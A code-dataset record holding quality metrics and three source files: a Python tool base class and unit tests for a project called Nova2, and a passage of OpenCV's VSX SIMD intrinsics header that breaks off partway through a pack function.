"qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
00Julian00/Nova2 | tool_api/tool_api.py | """
Description: This script is the API for the tools that they can use to interact with Nova and receive data from the system via the event system.
"""
from Nova2.app.api_base import APIAbstract
# Used to run methods inside tools in the "tools" folder via inheritance.
class ToolBaseClass:
"""
A tool must have a class that inherits from this class, or it can not be used by the system.
"""
def __init__(self) -> None:
self._tool_call_id = None
self.api: APIAbstract = None # type: ignore
def __init_subclass__(cls, **kwargs):
super().__init_subclass__(**kwargs)
disallowed_overrides = [
"__init__",
"__get_subclasses__",
"tool",
"__get_tools__"
]
for method in disallowed_overrides:
if method in cls.__dict__:
raise TypeError(f"Tool class {cls.__name__} cannot override the method '{method}'. This is reserved for tool API functionality.")
@classmethod
def get_subclasses(cls) -> list[type]:
"""
Returns all subclasses of the current class.
Returns:
list[type]: The subclasses of the current class.
"""
return cls.__subclasses__()
# Custom methods for tools
def on_startup(self) -> None:
"""
This method will be called once when the system starts.
Run initialization logic here.
"""
pass
def on_call(self) -> None:
"""
This method will be called when the tools is executed. Collect parameters and start tool logic here.
"""
pass
@classmethod
def tool(cls, func):
"""
Marks a function as a tool method.
"""
func.__is_tool__ = True
return func
def __get_tools__(self) -> list[callable]: # type: ignore
"""
Returns all methods that are marked as tools.
Returns:
list[callable]: The tool methods.
"""
return [
getattr(self, name)
for name in dir(self)
if callable(getattr(self, name))
and hasattr(getattr(self, name), "__is_tool__")
and getattr(self, name).__is_tool__
] | 2,264 | tool_api | py | en | python | code | {"qsc_code_num_words": 269, "qsc_code_num_chars": 2264.0, "qsc_code_mean_word_length": 4.68401487, "qsc_code_frac_words_unique": 0.40148699, "qsc_code_frac_chars_top_2grams": 0.03492063, "qsc_code_frac_chars_top_3grams": 0.04761905, "qsc_code_frac_chars_top_4grams": 0.03492063, "qsc_code_frac_chars_dupe_5grams": 0.12380952, "qsc_code_frac_chars_dupe_6grams": 0.04761905, "qsc_code_frac_chars_dupe_7grams": 0.04761905, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00065963, "qsc_code_frac_chars_whitespace": 0.33038869, "qsc_code_size_file_byte": 2264.0, "qsc_code_num_lines": 75.0, "qsc_code_num_chars_line_max": 146.0, "qsc_code_num_chars_line_mean": 30.18666667, "qsc_code_frac_chars_alphabet": 0.83047493, "qsc_code_frac_chars_comments": 0.34717314, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.11428571, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.02857143, "qsc_code_frac_chars_string_length": 0.12635659, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.2, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.05714286, "qsc_codepython_frac_lines_import": 0.02857143, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.34285714, "qsc_codepython_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 1, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
00Julian00/Nova2 | tests/tests.py | """
Description: Tests for Nova2.
"""
import unittest
import coverage
from Nova2 import *
from Nova2.app.context_data import ContextSource_User
class Test(unittest.TestCase):
def setUp(self):
self.nova = Nova()
self.nova.set_active_context_file('debug_ctx')
def test_context(self):
# Add context
ctx_size = len(self.nova.get_context().data_points)
self.nova.add_to_context(
ContextSource_User(),
"Test message"
)
self.assertEquals(
len(self.nova.get_context().data_points),
ctx_size + 1
)
def test_tools(self):
self.nova.load_tools()
self.assertGreater(
len(self.nova._tool_manager._loaded_tools),
0
)
def test_llm(self):
conditioning = LLMConditioning(
model="llama-3.3-70b-versatile",
inference_engine="inference_groq"
)
self.nova.configure_llm(conditioning)
self.nova.apply_config_llm()
conv = Conversation()
resp = self.nova.run_llm(conv)
self.assertTrue(
type(resp) == LLMResponse
)
def test_tts(self):
conditioning = TTSConditioning(
model="eleven_flash_v2_5",
inference_engine="inference_elevenlabs",
voice="FGY2WhTYpPnrIDTdsKH5",
expressivness=0.5,
stability=0.5,
similarity_boost=0.75,
use_speaker_boost=False
)
self.nova.configure_tts( conditioning)
self.nova.apply_config_tts()
resp = self.nova.run_tts("Hello World")
def run_tests():
cov = coverage.Coverage(
source=['.'],
omit=[
"*/site-packages/*",
"*/dist-packages/*",
"*/venv/*",
"*/.venv/*",
"*/tests/*",
"*/__pycache__/*",
"debug_runner.py",
"run_tests.py"
"*/external/*"
]
)
cov.start()
suite = unittest.TestLoader().loadTestsFromTestCase(Test)
unittest.TextTestRunner().run(suite)
cov.stop()
#cov.save()
print("\nCoverage Report:")
cov.report() | 2,219 | tests | py | en | python | code | {"qsc_code_num_words": 221, "qsc_code_num_chars": 2219.0, "qsc_code_mean_word_length": 5.33031674, "qsc_code_frac_words_unique": 0.46153846, "qsc_code_frac_chars_top_2grams": 0.08828523, "qsc_code_frac_chars_top_3grams": 0.02801358, "qsc_code_frac_chars_top_4grams": 0.0237691, "qsc_code_frac_chars_dupe_5grams": 0.10526316, "qsc_code_frac_chars_dupe_6grams": 0.05263158, "qsc_code_frac_chars_dupe_7grams": 0.05263158, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01338688, "qsc_code_frac_chars_whitespace": 0.32672375, "qsc_code_size_file_byte": 2219.0, "qsc_code_num_lines": 95.0, "qsc_code_num_chars_line_max": 62.0, "qsc_code_num_chars_line_mean": 23.35789474, "qsc_code_frac_chars_alphabet": 0.7751004, "qsc_code_frac_chars_comments": 0.02343398, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.11996295, "qsc_code_frac_chars_long_word_length": 0.01065308, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.04285714, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.08571429, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.05714286, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.15714286, "qsc_codepython_frac_lines_print": 0.01428571} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/hal/intrin_vsx.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html
#ifndef OPENCV_HAL_VSX_HPP
#define OPENCV_HAL_VSX_HPP
#include <algorithm>
#include "opencv2/core/utility.hpp"
#define CV_SIMD128 1
#define CV_SIMD128_64F 1
namespace cv
{
//! @cond IGNORED
CV_CPU_OPTIMIZATION_HAL_NAMESPACE_BEGIN
///////// Types ////////////
struct v_uint8x16
{
typedef uchar lane_type;
enum { nlanes = 16 };
vec_uchar16 val;
explicit v_uint8x16(const vec_uchar16& v) : val(v)
{}
v_uint8x16() : val(vec_uchar16_z)
{}
v_uint8x16(vec_bchar16 v) : val(vec_uchar16_c(v))
{}
v_uint8x16(uchar v0, uchar v1, uchar v2, uchar v3, uchar v4, uchar v5, uchar v6, uchar v7,
uchar v8, uchar v9, uchar v10, uchar v11, uchar v12, uchar v13, uchar v14, uchar v15)
: val(vec_uchar16_set(v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15))
{}
uchar get0() const
{ return vec_extract(val, 0); }
};
struct v_int8x16
{
typedef schar lane_type;
enum { nlanes = 16 };
vec_char16 val;
explicit v_int8x16(const vec_char16& v) : val(v)
{}
v_int8x16() : val(vec_char16_z)
{}
v_int8x16(vec_bchar16 v) : val(vec_char16_c(v))
{}
v_int8x16(schar v0, schar v1, schar v2, schar v3, schar v4, schar v5, schar v6, schar v7,
schar v8, schar v9, schar v10, schar v11, schar v12, schar v13, schar v14, schar v15)
: val(vec_char16_set(v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15))
{}
schar get0() const
{ return vec_extract(val, 0); }
};
struct v_uint16x8
{
typedef ushort lane_type;
enum { nlanes = 8 };
vec_ushort8 val;
explicit v_uint16x8(const vec_ushort8& v) : val(v)
{}
v_uint16x8() : val(vec_ushort8_z)
{}
v_uint16x8(vec_bshort8 v) : val(vec_ushort8_c(v))
{}
v_uint16x8(ushort v0, ushort v1, ushort v2, ushort v3, ushort v4, ushort v5, ushort v6, ushort v7)
: val(vec_ushort8_set(v0, v1, v2, v3, v4, v5, v6, v7))
{}
ushort get0() const
{ return vec_extract(val, 0); }
};
struct v_int16x8
{
typedef short lane_type;
enum { nlanes = 8 };
vec_short8 val;
explicit v_int16x8(const vec_short8& v) : val(v)
{}
v_int16x8() : val(vec_short8_z)
{}
v_int16x8(vec_bshort8 v) : val(vec_short8_c(v))
{}
v_int16x8(short v0, short v1, short v2, short v3, short v4, short v5, short v6, short v7)
: val(vec_short8_set(v0, v1, v2, v3, v4, v5, v6, v7))
{}
short get0() const
{ return vec_extract(val, 0); }
};
struct v_uint32x4
{
typedef unsigned lane_type;
enum { nlanes = 4 };
vec_uint4 val;
explicit v_uint32x4(const vec_uint4& v) : val(v)
{}
v_uint32x4() : val(vec_uint4_z)
{}
v_uint32x4(vec_bint4 v) : val(vec_uint4_c(v))
{}
v_uint32x4(unsigned v0, unsigned v1, unsigned v2, unsigned v3) : val(vec_uint4_set(v0, v1, v2, v3))
{}
uint get0() const
{ return vec_extract(val, 0); }
};
struct v_int32x4
{
typedef int lane_type;
enum { nlanes = 4 };
vec_int4 val;
explicit v_int32x4(const vec_int4& v) : val(v)
{}
v_int32x4() : val(vec_int4_z)
{}
v_int32x4(vec_bint4 v) : val(vec_int4_c(v))
{}
v_int32x4(int v0, int v1, int v2, int v3) : val(vec_int4_set(v0, v1, v2, v3))
{}
int get0() const
{ return vec_extract(val, 0); }
};
struct v_float32x4
{
typedef float lane_type;
enum { nlanes = 4 };
vec_float4 val;
explicit v_float32x4(const vec_float4& v) : val(v)
{}
v_float32x4() : val(vec_float4_z)
{}
v_float32x4(vec_bint4 v) : val(vec_float4_c(v))
{}
v_float32x4(float v0, float v1, float v2, float v3) : val(vec_float4_set(v0, v1, v2, v3))
{}
float get0() const
{ return vec_extract(val, 0); }
};
struct v_uint64x2
{
typedef uint64 lane_type;
enum { nlanes = 2 };
vec_udword2 val;
explicit v_uint64x2(const vec_udword2& v) : val(v)
{}
v_uint64x2() : val(vec_udword2_z)
{}
v_uint64x2(vec_bdword2 v) : val(vec_udword2_c(v))
{}
v_uint64x2(uint64 v0, uint64 v1) : val(vec_udword2_set(v0, v1))
{}
uint64 get0() const
{ return vec_extract(val, 0); }
};
struct v_int64x2
{
typedef int64 lane_type;
enum { nlanes = 2 };
vec_dword2 val;
explicit v_int64x2(const vec_dword2& v) : val(v)
{}
v_int64x2() : val(vec_dword2_z)
{}
v_int64x2(vec_bdword2 v) : val(vec_dword2_c(v))
{}
v_int64x2(int64 v0, int64 v1) : val(vec_dword2_set(v0, v1))
{}
int64 get0() const
{ return vec_extract(val, 0); }
};
struct v_float64x2
{
typedef double lane_type;
enum { nlanes = 2 };
vec_double2 val;
explicit v_float64x2(const vec_double2& v) : val(v)
{}
v_float64x2() : val(vec_double2_z)
{}
v_float64x2(vec_bdword2 v) : val(vec_double2_c(v))
{}
v_float64x2(double v0, double v1) : val(vec_double2_set(v0, v1))
{}
double get0() const
{ return vec_extract(val, 0); }
};
#define OPENCV_HAL_IMPL_VSX_EXTRACT_N(_Tpvec, _Tp) \
template<int i> inline _Tp v_extract_n(VSX_UNUSED(_Tpvec v)) { return vec_extract(v.val, i); }
OPENCV_HAL_IMPL_VSX_EXTRACT_N(v_uint8x16, uchar)
OPENCV_HAL_IMPL_VSX_EXTRACT_N(v_int8x16, schar)
OPENCV_HAL_IMPL_VSX_EXTRACT_N(v_uint16x8, ushort)
OPENCV_HAL_IMPL_VSX_EXTRACT_N(v_int16x8, short)
OPENCV_HAL_IMPL_VSX_EXTRACT_N(v_uint32x4, uint)
OPENCV_HAL_IMPL_VSX_EXTRACT_N(v_int32x4, int)
OPENCV_HAL_IMPL_VSX_EXTRACT_N(v_uint64x2, uint64)
OPENCV_HAL_IMPL_VSX_EXTRACT_N(v_int64x2, int64)
OPENCV_HAL_IMPL_VSX_EXTRACT_N(v_float32x4, float)
OPENCV_HAL_IMPL_VSX_EXTRACT_N(v_float64x2, double)
//////////////// Load and store operations ///////////////
/*
* clang-5 aborted during parse "vec_xxx_c" only if it's
* inside a function template which is defined by preprocessor macro.
*
* if vec_xxx_c defined as C++ cast, clang-5 will pass it
*/
#define OPENCV_HAL_IMPL_VSX_INITVEC(_Tpvec, _Tp, suffix, cast) \
inline _Tpvec v_setzero_##suffix() { return _Tpvec(); } \
inline _Tpvec v_setall_##suffix(_Tp v) { return _Tpvec(vec_splats((_Tp)v));} \
template<typename _Tpvec0> inline _Tpvec v_reinterpret_as_##suffix(const _Tpvec0 &a) \
{ return _Tpvec((cast)a.val); }
OPENCV_HAL_IMPL_VSX_INITVEC(v_uint8x16, uchar, u8, vec_uchar16)
OPENCV_HAL_IMPL_VSX_INITVEC(v_int8x16, schar, s8, vec_char16)
OPENCV_HAL_IMPL_VSX_INITVEC(v_uint16x8, ushort, u16, vec_ushort8)
OPENCV_HAL_IMPL_VSX_INITVEC(v_int16x8, short, s16, vec_short8)
OPENCV_HAL_IMPL_VSX_INITVEC(v_uint32x4, uint, u32, vec_uint4)
OPENCV_HAL_IMPL_VSX_INITVEC(v_int32x4, int, s32, vec_int4)
OPENCV_HAL_IMPL_VSX_INITVEC(v_uint64x2, uint64, u64, vec_udword2)
OPENCV_HAL_IMPL_VSX_INITVEC(v_int64x2, int64, s64, vec_dword2)
OPENCV_HAL_IMPL_VSX_INITVEC(v_float32x4, float, f32, vec_float4)
OPENCV_HAL_IMPL_VSX_INITVEC(v_float64x2, double, f64, vec_double2)
#define OPENCV_HAL_IMPL_VSX_LOADSTORE_C(_Tpvec, _Tp, ld, ld_a, st, st_a) \
inline _Tpvec v_load(const _Tp* ptr) \
{ return _Tpvec(ld(0, ptr)); } \
inline _Tpvec v_load_aligned(VSX_UNUSED(const _Tp* ptr)) \
{ return _Tpvec(ld_a(0, ptr)); } \
inline _Tpvec v_load_low(const _Tp* ptr) \
{ return _Tpvec(vec_ld_l8(ptr)); } \
inline _Tpvec v_load_halves(const _Tp* ptr0, const _Tp* ptr1) \
{ return _Tpvec(vec_mergesqh(vec_ld_l8(ptr0), vec_ld_l8(ptr1))); } \
inline void v_store(_Tp* ptr, const _Tpvec& a) \
{ st(a.val, 0, ptr); } \
inline void v_store_aligned(VSX_UNUSED(_Tp* ptr), const _Tpvec& a) \
{ st_a(a.val, 0, ptr); } \
inline void v_store_aligned_nocache(VSX_UNUSED(_Tp* ptr), const _Tpvec& a) \
{ st_a(a.val, 0, ptr); } \
inline void v_store(_Tp* ptr, const _Tpvec& a, hal::StoreMode mode) \
{ if(mode == hal::STORE_UNALIGNED) st(a.val, 0, ptr); else st_a(a.val, 0, ptr); } \
inline void v_store_low(_Tp* ptr, const _Tpvec& a) \
{ vec_st_l8(a.val, ptr); } \
inline void v_store_high(_Tp* ptr, const _Tpvec& a) \
{ vec_st_h8(a.val, ptr); }
// working around gcc bug for aligned ld/st
// if runtime check for vec_ld/st fail we failback to unaligned ld/st
// https://github.com/opencv/opencv/issues/13211
#ifdef CV_COMPILER_VSX_BROKEN_ALIGNED
#define OPENCV_HAL_IMPL_VSX_LOADSTORE(_Tpvec, _Tp) \
OPENCV_HAL_IMPL_VSX_LOADSTORE_C(_Tpvec, _Tp, vsx_ld, vsx_ld, vsx_st, vsx_st)
#else
#define OPENCV_HAL_IMPL_VSX_LOADSTORE(_Tpvec, _Tp) \
OPENCV_HAL_IMPL_VSX_LOADSTORE_C(_Tpvec, _Tp, vsx_ld, vec_ld, vsx_st, vec_st)
#endif
OPENCV_HAL_IMPL_VSX_LOADSTORE(v_uint8x16, uchar)
OPENCV_HAL_IMPL_VSX_LOADSTORE(v_int8x16, schar)
OPENCV_HAL_IMPL_VSX_LOADSTORE(v_uint16x8, ushort)
OPENCV_HAL_IMPL_VSX_LOADSTORE(v_int16x8, short)
OPENCV_HAL_IMPL_VSX_LOADSTORE(v_uint32x4, uint)
OPENCV_HAL_IMPL_VSX_LOADSTORE(v_int32x4, int)
OPENCV_HAL_IMPL_VSX_LOADSTORE(v_float32x4, float)
OPENCV_HAL_IMPL_VSX_LOADSTORE_C(v_float64x2, double, vsx_ld, vsx_ld, vsx_st, vsx_st)
OPENCV_HAL_IMPL_VSX_LOADSTORE_C(v_uint64x2, uint64, vsx_ld2, vsx_ld2, vsx_st2, vsx_st2)
OPENCV_HAL_IMPL_VSX_LOADSTORE_C(v_int64x2, int64, vsx_ld2, vsx_ld2, vsx_st2, vsx_st2)
//////////////// Value reordering ///////////////
/* de&interleave */
#define OPENCV_HAL_IMPL_VSX_INTERLEAVE(_Tp, _Tpvec) \
inline void v_load_deinterleave(const _Tp* ptr, _Tpvec& a, _Tpvec& b) \
{ vec_ld_deinterleave(ptr, a.val, b.val);} \
inline void v_load_deinterleave(const _Tp* ptr, _Tpvec& a, \
_Tpvec& b, _Tpvec& c) \
{ vec_ld_deinterleave(ptr, a.val, b.val, c.val); } \
inline void v_load_deinterleave(const _Tp* ptr, _Tpvec& a, _Tpvec& b, \
_Tpvec& c, _Tpvec& d) \
{ vec_ld_deinterleave(ptr, a.val, b.val, c.val, d.val); } \
inline void v_store_interleave(_Tp* ptr, const _Tpvec& a, const _Tpvec& b, \
hal::StoreMode /*mode*/=hal::STORE_UNALIGNED) \
{ vec_st_interleave(a.val, b.val, ptr); } \
inline void v_store_interleave(_Tp* ptr, const _Tpvec& a, \
const _Tpvec& b, const _Tpvec& c, \
hal::StoreMode /*mode*/=hal::STORE_UNALIGNED) \
{ vec_st_interleave(a.val, b.val, c.val, ptr); } \
inline void v_store_interleave(_Tp* ptr, const _Tpvec& a, const _Tpvec& b, \
const _Tpvec& c, const _Tpvec& d, \
hal::StoreMode /*mode*/=hal::STORE_UNALIGNED) \
{ vec_st_interleave(a.val, b.val, c.val, d.val, ptr); }
OPENCV_HAL_IMPL_VSX_INTERLEAVE(uchar, v_uint8x16)
OPENCV_HAL_IMPL_VSX_INTERLEAVE(schar, v_int8x16)
OPENCV_HAL_IMPL_VSX_INTERLEAVE(ushort, v_uint16x8)
OPENCV_HAL_IMPL_VSX_INTERLEAVE(short, v_int16x8)
OPENCV_HAL_IMPL_VSX_INTERLEAVE(uint, v_uint32x4)
OPENCV_HAL_IMPL_VSX_INTERLEAVE(int, v_int32x4)
OPENCV_HAL_IMPL_VSX_INTERLEAVE(float, v_float32x4)
OPENCV_HAL_IMPL_VSX_INTERLEAVE(double, v_float64x2)
OPENCV_HAL_IMPL_VSX_INTERLEAVE(int64, v_int64x2)
OPENCV_HAL_IMPL_VSX_INTERLEAVE(uint64, v_uint64x2)
/* Expand */
#define OPENCV_HAL_IMPL_VSX_EXPAND(_Tpvec, _Tpwvec, _Tp, fl, fh) \
inline void v_expand(const _Tpvec& a, _Tpwvec& b0, _Tpwvec& b1) \
{ \
b0.val = fh(a.val); \
b1.val = fl(a.val); \
} \
inline _Tpwvec v_expand_low(const _Tpvec& a) \
{ return _Tpwvec(fh(a.val)); } \
inline _Tpwvec v_expand_high(const _Tpvec& a) \
{ return _Tpwvec(fl(a.val)); } \
inline _Tpwvec v_load_expand(const _Tp* ptr) \
{ return _Tpwvec(fh(vec_ld_l8(ptr))); }
OPENCV_HAL_IMPL_VSX_EXPAND(v_uint8x16, v_uint16x8, uchar, vec_unpacklu, vec_unpackhu)
OPENCV_HAL_IMPL_VSX_EXPAND(v_int8x16, v_int16x8, schar, vec_unpackl, vec_unpackh)
OPENCV_HAL_IMPL_VSX_EXPAND(v_uint16x8, v_uint32x4, ushort, vec_unpacklu, vec_unpackhu)
OPENCV_HAL_IMPL_VSX_EXPAND(v_int16x8, v_int32x4, short, vec_unpackl, vec_unpackh)
OPENCV_HAL_IMPL_VSX_EXPAND(v_uint32x4, v_uint64x2, uint, vec_unpacklu, vec_unpackhu)
OPENCV_HAL_IMPL_VSX_EXPAND(v_int32x4, v_int64x2, int, vec_unpackl, vec_unpackh)
/* Load and zero expand a 4 byte value into the second dword, first is don't care. */
#if !defined(CV_COMPILER_VSX_BROKEN_ASM)
#define _LXSIWZX(out, ptr, T) __asm__ ("lxsiwzx %x0, 0, %1\r\n" : "=wa"(out) : "r" (ptr) : "memory");
#else
/* This is compiler-agnostic, but will introduce an unneeded splat on the critical path. */
#define _LXSIWZX(out, ptr, T) out = (T)vec_udword2_sp(*(uint32_t*)(ptr));
#endif
inline v_uint32x4 v_load_expand_q(const uchar* ptr)
{
// Zero-extend the extra 24B instead of unpacking. Usually faster in small kernel
// Likewise note, value is zero extended and upper 4 bytes are zero'ed.
vec_uchar16 pmu = {8, 12, 12, 12, 9, 12, 12, 12, 10, 12, 12, 12, 11, 12, 12, 12};
vec_uchar16 out;
_LXSIWZX(out, ptr, vec_uchar16);
out = vec_perm(out, out, pmu);
return v_uint32x4((vec_uint4)out);
}
inline v_int32x4 v_load_expand_q(const schar* ptr)
{
vec_char16 out;
vec_short8 outs;
vec_int4 outw;
_LXSIWZX(out, ptr, vec_char16);
outs = vec_unpackl(out);
outw = vec_unpackh(outs);
return v_int32x4(outw);
}
/* pack */
#define OPENCV_HAL_IMPL_VSX_PACK(_Tpvec, _Tp, _Tpwvec, _Tpvn, _Tpdel, sfnc, pkfnc, addfnc, pack) \
inline _Tpvec v_##pack(const _Tpwvec& a, const _Tpwvec& b) \
{ \
return _Tpvec(pkfnc(a.val, b.val)); \
} \
inline void v_##pack##_store(_Tp* ptr, const _Tpwvec& a) \
{ \
vec_st_l8(pkfnc(a.val, a.val), ptr); \
} \
template<int n> \
inline _Tpvec v_rshr_##pack(const _Tpwvec& a, const _Tpwvec& b) \
{ \
const __vector _Tpvn vn = vec_splats((_Tpvn)n); \
const __vector _Tpdel delta = vec_splats((_Tpdel)((_Tpdel)1 << (n-1))); \
return _Tpvec(pkfnc(sfnc(addfnc(a.val, delta), vn), sfnc(addfnc(b.val, delta), vn))); \
} \
template<int n> \
inline void v_rshr_##pack##_store(_Tp* ptr, const _Tpwvec& a) \
{ \
const __vector _Tpvn vn = vec_splats((_Tpvn)n); \
const __vector _Tpdel delta = vec_splats((_Tpdel)((_Tpdel)1 << (n-1))); \
vec_st_l8(pkfnc(sfnc(addfnc(a.val, delta), vn), delta), ptr); \
}
OPENCV_HAL_IMPL_VSX_PACK(v_uint8x16, uchar, v_uint16x8, unsigned short, unsigned short,
vec_sr, vec_packs, vec_adds, pack)
OPENCV_HAL_IMPL_VSX_PACK(v_int8x16, schar, v_int16x8, unsigned short, short,
vec_sra, vec_packs, vec_adds, pack)
OPENCV_HAL_IMPL_VSX_PACK(v_uint16x8, ushort, v_uint32x4, unsigned int, unsigned int,
vec_sr, vec_packs, vec_add, pack)
OPENCV_HAL_IMPL_VSX_PACK(v_int16x8, short, v_int32x4, unsigned int, int,
vec_sra, vec_packs, vec_add, pack)
OPENCV_HAL_IMPL_VSX_PACK(v_uint32x4, uint, v_uint64x2, unsigned long long, unsigned long long,
vec_sr, vec_pack, vec_add, pack)
OPENCV_HAL_IMPL_VSX_PACK(v_int32x4, int, v_int64x2, unsigned long long, long long,
vec_sra, vec_pack, vec_add, pack)
OPENCV_HAL_IMPL_VSX_PACK(v_uint8x16, uchar, v_int16x8, unsigned short, short,
vec_sra, vec_packsu, vec_adds, pack_u)
OPENCV_HAL_IMPL_VSX_PACK(v_uint16x8, ushort, v_int32x4, unsigned int, int,
vec_sra, vec_packsu, vec_add, pack_u)
// Following variant is not implemented on other platforms:
//OPENCV_HAL_IMPL_VSX_PACK(v_uint32x4, uint, v_int64x2, unsigned long long, long long,
// vec_sra, vec_packsu, vec_add, pack_u)
// pack boolean
inline v_uint8x16 v_pack_b(const v_uint16x8& a, const v_uint16x8& b)
{
vec_uchar16 ab = vec_pack(a.val, b.val);
return v_uint8x16(ab);
}
inline v_uint8x16 v_pack_b(const v_uint32x4& a, const v_uint32x4& b,
const v_uint32x4& c, const v_uint32x4& d)
{
vec_ushort8 ab = vec_pack(a.val, b.val);
vec_ushort8 cd = vec_pack(c.val, d.val);
return v_uint8x16(vec_pack(ab, cd));
}
inline v_uint8x16 v_pack_b(const v_uint64x2& a, const v_uint64x2& b, const v_uint64x2& c,
const v_uint64x2& d, const v_uint64x2& e, const v_uint64x2& f,
const v_uint64x2& g, const v_uint64x2& h)
{
vec_uint4 ab = vec_pack(a.val, b.val);
vec_uint4 cd = vec_pack(c.val, d.val);
vec_uint4 ef = vec_pack(e.val, f.val);
vec_uint4 gh = vec_pack(g.val, h.val);
vec_ushort8 abcd = vec_pack(ab, cd);
